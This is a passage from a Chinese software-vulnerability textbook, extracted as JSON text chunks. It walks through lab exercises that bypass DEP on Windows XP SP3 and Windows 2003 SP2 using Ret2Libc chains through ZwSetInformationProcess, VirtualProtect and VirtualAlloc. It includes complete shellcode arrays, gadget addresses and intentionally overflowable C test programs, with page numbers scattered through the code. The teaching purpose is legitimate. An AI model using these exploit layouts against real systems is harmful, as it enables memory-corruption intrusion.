\"\\x85\\x8B\\x1D\\x5D\" //修正 EBP \"\\x24\\xCD\\x93\\x7C\" //关闭 DEP 代码的起始位置 ; 重新编译程序后用 OllyDbg 加载，在 0x7C95683B 处，即 CALL ZwSetInformationProcess 时下断点，待程序中断后观察堆栈情况。 如图 12.3.8 所示，EBP-4 中的内容已经被冲刷掉，内 容已经被修改为 0x22，根据_KEXECUTE_OPTIONS 结构我们知道 DEP 只和结构中的前 4 位 324 第 有关，只要前 4 位为二进制代码为 0100 就可关闭 DEP，而 0x22（00100010）刚刚符合这个要 12 章 求，所以用 0x22 冲刷掉 EBP-4 处的值还是可以关闭 DEP 的。 数据与程序的分水岭： EBP-4 此条指令将 EBP-4 处内容冲刷掉 DE P [EBP-4]=0x22 图 12.3.8 EBP-4 处被修改为 0x22 虽然现在我们已经关闭了 DEP，但是我们失去了进程的控制权。 我们再来看看关闭 DEP 后程序返回时的堆栈情况：按 F8 键单步运行程序，在 0x7C93CD6F 处，即 RETN 4 处暂停， 观察堆栈情况。"},
    {"text": "关闭 DEP 后返回 retn 到 [ESP] 图 12.3.9 关闭 DEP 后程序返回时返回地址被冲刷 一般来说当 ESP 值小于 EBP 时，防止入栈时破坏当前栈内内容的调整方法不外乎减小 ESP 和增大 EBP，由于本次实验中我们的 shellcode 位于内存低址，所以减小 ESP 可能会破坏 shellcode，而增大 EBP 的指令在本次实验中竟然找不到。 一个变通的方法是增大 ESP 到一个 325 0 day 安全的位置，让 EBP 和 ESP 之间的空间足够大，这样关闭 DEP 过程中的压栈操作就不会冲刷 安全：软件漏洞 到 EBP 的范围内了。"},
    {"text": "charshellcode[]= \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x52\\xE2\\x92\\x7C\" //MOV EAX,1 RETN 地址 \"\\x85\\x8B\\x1D\\x5D\" //修正 EBP \"\\x19\\x4A\\x97\\x7C\" //增大 ESP \"\\x90\\x90\\x90\\x90\" //jmp esp \"\\x24\\xCD\\x93\\x7C\" //关闭 DEP 代码的起始位置 ; 我们依然在 0x7C93CD6F 处中断程序，注意千万不要在程序刚加载完就在 0x7C93CD6F 下 断 点 ， 不 然 您 会 被 中 断 到 崩 溃 。"},
    {"text": "326 第 12 章 数据与程序的分水岭： 关闭 DEP 后返回 shellcode 161~168 字节 retn 到 [ESP] 该位置可控 而且未被冲刷 DE 图 12.3.11 增大 ESP 后关闭 DEP 返回时堆栈状态 P 图 12.3.12 CALL/JMP ESP 指令部分搜索结果 本次实验我们选择 0x7DC5C1B4 处的 JMP ESP，然后我在 0x0012FEC4 处放置一个长跳指 令，让程序跳转到 shellcode 的起始位置来执行 shellcode，根据图 12.3.11 中的内存状态，可以 计算出 0x0012FEC4 距离 shellcode 起始位置有 200 个字节，所以跳转指令需要回调 205 个字节 （200+5 字节跳转指令长度）。"},
    {"text": "弹对话框的机器码 \\x90填充 AL置1 修正EBP 增大ESP JMP ESP 关闭DEP 回跳和\\x90填充 168个字节 12个字节 4个字节 4个字节 4个字节 4个字节 4个字节 8个字节 \\x52\\xE2 \\x85\\x8B \\x19\\x4A \\xB4\\xC1 \\x24\\xCD \\xE9\\x33\\xFF\\xFF \\xFC……\\xF8 \\x90\\……\\x90 \\x92\\x7C \\x1D\\x5D \\x97\\x7C \\xC5\\x7D \\x93\\x7C \\xFF\\x90\\x90\\x90 图 12.3.13 Windows XP SP3 下关闭 DEP 的 shellcode 布局 代码如下所示。 charshellcode[]= \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" 327 0 day \"……\" 安全：软件漏洞 \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x52\\xE2\\x92\\x7C\" //MOV EAX,1 RETN 地址 \"\\x85\\x8B\\x1D\\x5D\" //修正 EBP \"\\x19\\x4A\\x97\\x7C\" //增大 ESP 分析技术（第 \"\\xB4\\xC1\\xC5\\x7D\" //jmp esp \"\\x24\\xCD\\x93\\x7C\" //关闭 DEP 代码的起始位置 \"\\xE9\\x33\\xFF\\xFF\" //回跳指令 \"\\xFF\\x90\\x90\\x90\" 按照图 12.3.13 中布局布置好 shellcode 后将程序重新编译，用 OllyDbg 加载程序，我们建 议您在 0x7C93CD6F 处下断点，待程序中断后，我们按 F8 键单步运行程序，并注意各指令对 2 版） 堆栈及程序流程的影响，理解这种 shellcode 的布置思路。 执行完 JMP ESP 后就可以看到程序 转入 shellcode，如图 12.3.14 所示。 已经转入 shellcode 我们的 shellcode 图 12.3.14 成功转入 shellcode 继续运行程序就可以看到熟悉的对话框，如图 12.3.15 所示。"},
    {"text": "补充一点，微软在 Windows 2003 SP2 以后对 LdrpCheckNXCompatibility 函数进行了少许 修改，对我们影响最大的是该函数在执行过程中会对 ESI 指向的内存附近进行操作，如图 12.3.16 所示。 这就要保证 ESI 指向的内存为可写内存，前边我们已经介绍过了调整 EBP 的方法，大家 可以利用类似的指令如 push esp pop esi retn 来调整 ESI，这些指令显示在 OllyFindAddr 插件中 Disable DEP→Disable DEP >=2003 SP2 搜索结果的 step4 部分。 328 第 12 章 数据与程序的分水岭： DE P 图 12.3.15 shellcode 成功执行 对 [ESI+37] 处操作 LdrpCheckNXCompatibility 函数返回前 图 12.3.16 LdrpCheckNXCompatibility 函数返回前对[ESI+37]进行操作 但这些指令不是很好找到的，这里介绍一种变通的方法。"},
    {"text": "（1）找到 pop eax retn 指令，并让程序转入该位置执行。 （2）找到一条 pop esi retn 的指令，并保证在执行（1）中 pop eax 时它的地址位于栈顶，这 样就可以把该地址放到 eax 中。"},
    {"text": "下边我们给出一种可以 在 Windows 2003 SP2 下边成功溢出的代码，大家可以自行调试，感受一下跳板执行选取和 shellcode 布局的思路。 代码运行环境为 Windows 2003 SP2 中文版，代码中的各跳板地址可能 需要重新调试。"},
    {"text": "#include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> 329 0 day charshellcode[]= 安全：软件漏洞 \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"\\x8B\\xF4\\x8D\\x7E\\xF4\\x33\\xDB\\xB7\\x04\\x2B\\xE3\\x66\\xBB\\x33\\x32\\x53\" \"\\x68\\x75\\x73\\x65\\x72\\x54\\x33\\xD2\\x64\\x8B\\x5A\\x30\\x8B\\x4B\\x0C\\x8B\" \"\\x49\\x1C\\x8B\\x09\\x8B\\x69\\x08\\xAD\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\x05\\x95\" \"\\xFF\\x57\\xF8\\x95\\x60\\x8B\\x45\\x3C\\x8B\\x4C\\x05\\x78\\x03\\xCD\\x8B\\x59\" \"\\x20\\x03\\xDD\\x33\\xFF\\x47\\x8B\\x34\\xBB\\x03\\xF5\\x99\\x0F\\xBE\\x06\\x3A\" \"\\xC4\\x74\\x08\\xC1\\xCA\\x07\\x03\\xD0\\x46\\xEB\\xF1\\x3B\\x54\\x24\\x1C\\x75\" 分析技术（第 \"\\xE4\\x8B\\x59\\x24\\x03\\xDD\\x66\\x8B\\x3C\\x7B\\x8B\\x59\\x1C\\x03\\xDD\\x03\" \"\\x2C\\xBB\\x95\\x5F\\xAB\\x57\\x61\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\xA9\\x33\\xDB\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" 2 版） \"\\xE9\\x77\\xBE\\x77\" //修正 EBP \"\\x81\\x71\\xBA\\x7C\" //pop eax retn \"\\x0A\\x1A\\xBF\\x7C\" //pop pop pop retn \"\\x3D\\x68\\xBE\\x7C\" //pop esi retn \"\\xBF\\x7D\\xC9\\x77\" //push esp jmp eax \"\\x9B\\xF4\\x87\\x7C\" //retn 0x30 \"\\x17\\xF5\\x96\\x7C\" //关闭 DEP 代码的起始位置 \"\\x23\\x1E\\x1A\\x7D\" //jmp esp \"\\xE9\\x27\\xFF\\xFF\" //跳转到 shellcode 起始地址 \"\\xFF\\x90\\x90\\x90\" ; voidtest() { chartt[176]; strcpy(tt,shellcode); } intmain() { HINSTANCEhInst = LoadLibrary(\"shell32.dll\"); chartemp[200]; test(); return 0; } 12.3.2 Ret2Libc 实战之利用 VirtualProtect 在 DEP 的四种工作模式中，Optout 和 AlwaysON 模式下所有进程是默认开启 DEP，这时 候如果一个程序自身偶尔需要从堆栈中取指令，则会发生错误。"},
    {"text": "为了解决这个问题微软提供了 修改内存属性的 VirtualProtect 函数，该函数位于 kernel32.dll 中，通过该函数用户可以修改指 330 第 定内存的属性，包括是否可执行属性。"},
    {"text": "首先我们来看看 数据与程序的分水岭： MSDN 上对 VirtualProtect 函数的说明。 BOOL VirtualProtect( LPVOID lpAddress, DWORD dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); 各参数的意义为： lpAddress，要改变属性的内存起始地址。"},
    {"text": "如果我们能够按照如下参数布置好栈帧的话就可以将 shellcode 所在内存区域设置为可执 行模式。 BOOL VirtualProtect( shellcode 所在内存空间起始地址, shellcode 大小, 0x40, 某个可写地址 ); 这里有两个问题需要注意。"},
    {"text": "（2）对 shellcode 所在内存空间起始地址的确定，不同机器之间 shellcode 在内存中的位置 可能会有变化，本次实验中我们采用一种巧妙的栈帧构造方法动态确定 shellcode 所在内存空间 起始地址。 我们将用如下代码演示如何布置栈帧，并利用 VirtualProtect 函数将 shellcode 所在内存区 域设置为可执行状态，进而执行 shellcode。"},
    {"text": "#include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> charshellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 331 0 day \"……\" 安全：软件漏洞 \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\" //pop eax retn \"\\x0A\\x1A\\xBF\\x7C\" //pop pop pop retn \"\\xBA\\xD9\\xBB\\x7C\" //修正 EBP \"\\x8B\\x17\\x84\\x7C\" //RETN \"\\x90\\x90\\x90\\x90\" 分析技术（第 \"\\xBF\\x7D\\xC9\\x77\" //push esp jmp eax \"\\xFF\\x00\\x00\\x00\" //修改内存大小 \"\\x40\\x00\\x00\\x00\" //可读可写可执行内存属性代码 \"\\xBF\\x7D\\xC9\\x77\" //push esp jmp eax \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\xE8\\x1F\\x80\\x7C\" //修改内存属性 2 版） \"\\x90\\x90\\x90\\x90\" \"\\xA4\\xDE\\xA2\\x7C\" //jmp esp \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" ; voidtest() { charstr[176]; memcpy(str,shellcode,420); } intmain() { HINSTANCEhInst = LoadLibrary(\"shell32.dll\"); chartemp[200]; test(); return 0; } 对实验思路和代码简要解释如下。"},
    {"text": "表 12-3-2 实验环境 推荐使用的环境 备 注 操作系统 Windows 2003 SP2 DEP 状态 Optout 编译器 VC++ 6.0 编译选项 禁用优化选项 DE build 版本 release 版本 P 首先我们来看看 VirtualProtect 函数的具体实现。 如图 12.3.17 所示，VirtualProtect 只是相 当于做了一次中转，通过将进程句柄、内存地址、内存大小等参数传递给 VirtualProtectEx 函数 来设置内存的属性。"},
    {"text": "我们不妨选择 0x7C801FE8 作为切入点，按照函数要求将栈帧布置好后转 入 0x7C801FE8 处执行设置内存属性过程。 VirtualProtect …… 7C801FE3 MOV EDI,EDI 7C801FE5 PUSH EBP 7C801FE6 MOV EBP,ESP 7C801FE8 PUSH DWORD PTR SS:[EBP+14] ; pOldProtect 7C801FEB PUSH DWORD PTR SS:[EBP+10]; NewProtect 7C801FEE PUSH DWORD PTR SS:[EBP+C] ; Size 7C801FF1 PUSH DWORD PTR SS:[EBP+8] ; Address 7C801FF4 PUSH -1 ; hProcess = FFFFFFFF 7C801FF6 CALL kernel32.VirtualProtectEx ; VirtualProtectEx 7C801FFB POP EBP 7C801FFC RETN 10 …… 图 12.3.17 VirtualProtect 函数具体实现过程 通过图 12.3.17 我们还可以看出从 EBP+8 到 EBP+18 这 16 个字节空间中存放着设置内存属 性所需要的参数。"},
    {"text": "[EBP+C]和[EBP+10]这两个参数是固定的，我们可以直接在 shellcode 中设置； 但[EBP+8]和[EBP+14]这两个参数是需要动态确定的，要保证第一个参数可以落在我们可以控 制的堆栈范围内，第二个参数要保证为一可写地址，我们布置 shellcode 的重点也就放在这两个 参数上边。"},
    {"text": "由于 EBP 在溢出过程中被破坏，所以我们需要对 EBP 进行修复，首先我们用 PUSH ESP POP EBP RETN 4 指令的地址覆盖 test 函数的返回地址，shellcode 如下所示。 char shellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 333 0 day \"……\" 安全：软件漏洞 \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP 编译好程序后用 OllyDbg 加载程序，并在 0x7CBBD9BA（调整 EBP 入口）处下断点，然 后单步运行到 RETN 时观察内存状态，如图 12.3.18 所示。 分析技术（第 指向当 返回时带0x4 前堆栈 字节偏移 参数位置 2 版） RETN 0x4后 ESP的位置 图 12.3.18 调整完 EBP 后内存状态 从图 12.3.18 中可以看到在执行完 RETN 4 后 ESP 刚好指向 EBP+8 的位置，如果此时我们 能找到类似 MOV [EBP],** POP ** POP ** POP ** RETN 或者 MOV [EBP],** JMP **的指令就 可以将要修改属性的内存地址设置为当前堆栈中的某个地址了（为什么后边要跟着 POP？"},
    {"text": "换 种 思 路 ， 如 果 我 们 让 ESP 再 向 下 移 动 4 个 字 节 ， 即 让 ESP=0x0012FEC0，此时执行一条 PUSH ESP RETN/JMP **指令也是可以达到目的的。 大家还 记得在上一个实验中我们“曲线救国”使用的 PUSH ESP JMP EAX 指令吧，这里依然适用， 只不过我们需要将 EAX 指向的指令修改一下。 稍后我们再讨论 EAX 具体指向什么样的指令，我们先来考虑一下什么样的指令能够让 ESP 向高址方向移动 4 个字节而又不影响程序的控制，大家一定想到了就是 RETN！"},
    {"text": "char shellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP \"\\x8B\\x17\\x84\\x7C\"//RETN \"\\x90\\x90\\x90\\x90\" \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax 重新编译程序，然后用 OllyDbg 加载程序。"},
    {"text": "在这我们建议依然在 0x7CBBD9BA（调整 EBP 334 第 入口）处下断点，然后单步运行程序并注意观察堆栈的变化情况，来加深对堆栈调整及布局思 12 章 路的理解。"},
    {"text": "如图 数据与程序的分水岭： 12.3.19 所示，我们已经成功地将 EBP+0x8 的参数设置为当前堆栈中的某个地址，只 要我们再保证 EBP+0x14 处存放的地址为可写地址就大功告成了。"},
    {"text": "如果我们能将 ESP 指向 EBP+0x18，就可以再用 PUSH ESP JMP EAX 指令来设置 EBP+0x14 的参数。 观察堆栈可知此 时 ESP 指向 0x0012FEBC，EBP+0x14 指向 0x0012FEC8，ESP 只需再向高址方向移动 16 个字 节就可以指向 EBP+0x18（0x0012FECC）。 虽然让 ESP 向低址方向移动而又不影响程序流程的 指令不多，但是让 ESP 向高址方向而又不影响程序流程的指令就遍地都是了，大家可以自由发 挥组合指令，本次实验我们使用类似 POP POP POP RETN 指令。 DE ESP入栈 ESP指向 P EBP+8 EBP+8参数 已经被修改 各参数 图 12.3.19 执行完 PUSH ESP 后内存状态 有了指令后如何才能让程序去执行呢？ 从图 12.3.19 中可以看到程序将要执行的指令为 JMP EAX，所以我们只要将 EAX 指向类似 POP POP POP RETN 指令就可以了，大家可以使用 OllyFindAddr 插件中的 Overflow return address→Find POP RETN 功能，在弹出的对话框中输入 3 就可以查找到 RETN 前有 3 次 POP 的指令了，如图 12.3.20 所示。 输入框 部分搜索结果 输入后点击 开始查找 图 12.3.20 Find POP RETN 输入 POP 次数界面及部分搜索结果 335 0 day 需要注意选择的指令中不能修改 ESP、EBP、EAX，这几个寄存器的值后期都会用到，本 安全：软件漏洞 次实验我们选择 0x7CBF1A0A 处的 POP ESI POP EBX POP EDI RETN 指令。"},
    {"text": "到这里利用 VirtualProtect 修改内存属性的关键部分就都搞定了，我们再搞定两个参数就可以实现这个伟大的目标了。 （1）VirtualProtect 参数之修改内存大小，在这里我们不妨设置为 0x000000FF，255 个字节 的空间足够放置弹出对话框的机器码。 分析技术（第 （2）VirtualProtect 参数之内存新属性标志，根据 MSDN 的介绍，这里我们需要设置为 0x00000040。"},
    {"text": "char shellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 2 版） \"……\" \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x0A\\x1A\\xBF\\x7C\"//pop pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP \"\\x8B\\x17\\x84\\x7C\"//RETN \"\\x90\\x90\\x90\\x90\" \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax \"\\xFF\\x00\\x00\\x00\"//要修改的内存大小 \"\\x40\\x00\\x00\\x00\"//可读可写可执行属性代码 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\xE8\\x1F\\x80\\x7C\"//修改内存属性 重新编译程序，然后用 OllyDbg 加载程序。"},
    {"text": "继续在 0x7CBBD9BA（调整 EBP 入口）处下 断点，然后单步运行程序并注意观察每条指令对于程序流程和堆栈的影响，同时要思考选择该 指令的原因，彻底掌握 shellcode 布置技巧。"},
    {"text": "如图 12.3.21 所示，EAX 的值为 1，根据 MSDN 的介绍说明我们已经成功修改了内存属性， 现在我们可以在 0x0012FEC0~0x0012FEC0+0xFF 的范围内为所欲为了！"},
    {"text": "接下来的布置工作很 简单，可以在 0x0012FEE4 位置放置 JMP ESP 指令，并在 RETN 0x10 后 ESP 指向的位置开始 放置弹出对话框的机器码，实现 exploit。"},
    {"text": "char shellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" 336 第 设置内存属 12 章 性切入点 VirtualProtect返回 数据与程序的分水岭： 值为1 RETN 0x10之后 带有0x10的偏移 ESP的位置 RETN到[ESP] DE 图 12.3.21 VirtualProtect 返回前状态 POP EAX POP POP PUSH ESP P \\x90填充 RETN POP RETN 修正EBP RETN \\x90填充 JMP EAX 修改内存 内存属性 180个字节 指令地址 指令地址 指令地址 指令地址 4个字节 指令地址 大小 代码 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 \\x8A\\x17 \\x0A\\x1A \\xBA\\xD9 \\x8B\\x17 \\x90\\x90 \\xBF\\x7D \\xFF\\x00 \\x40\\x00 \\x90\\……\\x90 \\x84\\x7C \\xBF\\x7C \\xBB\\x7C \\x84\\x7C \\x90\\x90 \\xC9\\x77 \\x00\\x00 \\x00\\x00 PUSH ESP VirtualProtect JMP EAX \\x90填充 切入点 \\x90填充 JMP ESP \\x90填充 弹对话框的机器码 指令地址 8个字节 地址 4个字节 指令地址 16个字节 168个字节 4个字节 4个字节 4个字节 \\xBF\\x7D \\xBF\\x7D \\x90\\x90 \\xA4\\xDE \\x90\\……\\x90 \\x90\\……\\x90 \\xFC……\\xF8 \\xC9\\x77 \\xC9\\x77 \\x90\\x90 \\xA2\\x7C 图 12.3.22 利用 VirtualProtect 绕过 DEP 的 shellcode 布局 \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x0A\\x1A\\xBF\\x7C\"//pop pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP \"\\x8B\\x17\\x84\\x7C\"//RETN \"\\x90\\x90\\x90\\x90\" \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax \"\\xFF\\x00\\x00\\x00\"//修改内存大小 \"\\x40\\x00\\x00\\x00\"//可读可写可执行内存属性代码 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" \"\\xE8\\x1F\\x80\\x7C\"//修改内存属性 \"\\x90\\x90\\x90\\x90\" \"\\xA4\\xDE\\xA2\\x7C\"//jmp esp \"\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\" 337 0 day \"\\x90\\x90\\x90\\x90\" 安全：软件漏洞 \"\\x90\\x90\\x90\\x90\" \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" ; 再次编译程序，用 OllyDbg 加载程序，再次建议您单步运行程序，在执行完 JMP ESP 后您 分析技术（第 会发现程序转入 shellcode，并且可以在堆栈中执行指令，说明我们已经绕过了 DEP，如图 12.3.23 所示。 已经转入 shellcode 2 版） 我们的 shellcode 图 12.3.23 利用 VirtualProtect 修改内存属性后可以在堆栈中执行 shellcode 继续运行程序就可以看到弹出熟悉的“failwest”对话框啦！"},
    {"text": "图 12.3.24 利用 VirtualProtect 修改内存属性后 shellcode 成功执行 338 第 12.3.3 Ret2Libc 实战之利用 VirtualAlloc 12 章 除了 VirtualProtect 函数，微软还提供了另一个 API 函数用来解决 DEP 对特殊程序的影响。"},
    {"text": "LPVOID WINAPI VirtualAlloc( __in_opt LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flAllocationType, DE __in DWORD flProtect ); P 函数中各参数的意义为： lpAddress，申请内存区域的地址，如果这个参数是 NULL，系统将会决定分配内存区域的 位置，并且按 64KB 向上取整。"},
    {"text": "#include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> charshellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\xBC\\x45\\x82\\x7C\"//申请空间 \"\\x90\\x90\\x90\\x90\" \"\\xFF\\xFF\\xFF\\xFF\"//-1 当前进程 \"\\x00\\x00\\x03\\x00\"//申请空间起始地址 \"\\xFF\\x00\\x00\\x00\"//申请空间大小 \"\\x00\\x10\\x00\\x00\"//申请类型 \"\\x40\\x00\\x00\\x00\"//申请空间访问类型 \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn 339 0 day \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 安全：软件漏洞 \"\\x0B\\x1A\\xBF\\x7C\"//pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn4 \"\\x5F\\x78\\xA6\\x7C\"//pop retn \"\\x00\\x00\\x03\\x00\"//可执行内存空间地址，转入执行用 \"\\x00\\x00\\x03\\x00\"//可执行内存空间地址，复制用 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax && 原始 shellcode 起始地址 \"\\xFF\\x00\\x00\\x00\"//shellcode 长度 分析技术（第 \"\\xAC\\xAF\\x94\\x7C\"//memcpy \"\\x00\\x00\\x03\\x00\"//一个可以读地址 \"\\x00\\x00\\x03\\x00\"//一个可以读地址 \"\\x00\\x90\\x90\\x94\" \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" 2 版） ; voidtest() { chartt[176]; memcpy(tt,shellcode,450); } intmain() { HINSTANCEhInst = LoadLibrary(\"shell32.dll\"); chartemp[200]; test(); return 0; } 对实验思路和代码简要解释如下。"},
    {"text": "表 12-3-3 实验环境 推荐使用的环境 备 注 操作系统 Windows 2003 SP2 DEP 状态 Optout 340 第 续表 12 章 推荐使用的环境 备 注 编译器 VC++ 6.0 数据与程序的分水岭： 编译选项 禁用优化选项 build 版本 release 版本 首 先 我 们 要 能 够 利 用 VirtualAlloc 申 请 具 有 执 行 权 限 的 内 存 ， 让 我 们 来 分 析 一 下 VirtualAlloc 具体实现流程。 从图 12.3.25 中大家可以看到 VirtualAlloc 函数中对各参数的调用与 VirtualProtect 函数如出一辙，因此我们可以选择与上个实验中一致的参数构造方法，但是仔细 观察后您会发现二者还是有区别的，VirtualAlloc 各参数不存在动态确定的问题，可以直接写到 shellcode 里边，它的布局要比 VirtualProtect 函数中的布局简单的多。 DE …… VirtualAlloc P 7C8245A9 MOV EDI,EDI 7C8245AB PUSH EBP 7C8245AC MOV EBP,ESP 7C8245AE PUSH DWORD PTR SS:[EBP+14] ; flProtect 7C8245B1 PUSH DWORD PTR SS:[EBP+10] ;flAllocationType 7C8245B4 PUSH DWORD PTR SS:[EBP+C] ; dwSize 7C8245B7 PUSH DWORD PTR SS:[EBP+8] ; lpAddress 7C8245BA PUSH -1 ; hProcess = FFFFFFFF 7C8245BC CALL kernel32.VirtualAllocEx ; VirtualAllocEx 7C8245C1 POP EBP 7C8245C2 RETN 10 …… 图 12.3.25 VirtualAlloc 函数的具体实现流程 本 次 实 验 我 们 将 参 数 直 接 布 置 到 shellcode 中 ， 然 后 选 择 0x7C8245BC （ CALL VirtualAllocEx）处作为切入点，直接申请空间。"},
    {"text": "（3）flAllocationType=0x00001000，该值使用 0x00001000 即可，如有特殊需要可根据 MSDN 的介绍来设置为其他值。 （4）flProtect=0x00000040，内存属性要设置为可读可写可执行，根据 MSDN 介绍，该属 性对应的代码为 0x00000040。"},
    {"text": "由于 EBP 在溢出过程中被破坏，所以第一步依然是修复 EBP，我们用 PUSH ESP POP EBP RETN 4 指令的地址覆盖 test 函数的返回地址，然后按照以上参数布置一个能够申请可执行内 存空间的 shellcode，shellcode 如下所示。 charshellcode[]= 341 0 day \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 安全：软件漏洞 \"……\" \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\xBC\\x45\\x82\\x7C\"//CALL VirtualAllocEx 地址 \"\\x90\\x90\\x90\\x90\" \"\\xFF\\xFF\\xFF\\xFF\"//-1 当前进程 \"\\x00\\x00\\x03\\x00\"//申请空间起始地址 0x00030000 分析技术（第 \"\\xFF\\x00\\x00\\x00\"//申请空间大小 0xFF \"\\x00\\x10\\x00\\x00\"//申请类型 0x1000 \"\\x40\\x00\\x00\\x00\"//申请空间访问类型 0x40 ; 编译好程序后用 OllyDbg 加载程序，并在 0x7CBBD9BA（调整 EBP 入口）处下断点，然 后按 F8 键单步运行到 0x7C8245C2（VirtualAlloc 函数的 RETN 0x10）暂停，观察内存状态。 2 版） 如图 12.3.26 所示，EAX 中是我们申请空间的起始地址 0x00030000，这也说明我们的空间 申请成功了，此时通过 OllyDbg 的内存窗口也可以看到我们刚刚申请的空间，而且属性是带 E 的标志！"},
    {"text": "图 12.3.26 VirtualAlloc 函数返回前内存状态 大家知道 memcpy 函数位于 ntdll.dll，需要三个参数，依次为目的内存起始地址、源内存 起始地址、复制长度，其中目的内存起始地址和复制长度都可以直接写在 shellcode 中，唯一的 难点在于对源内存起始地址的确定。"},
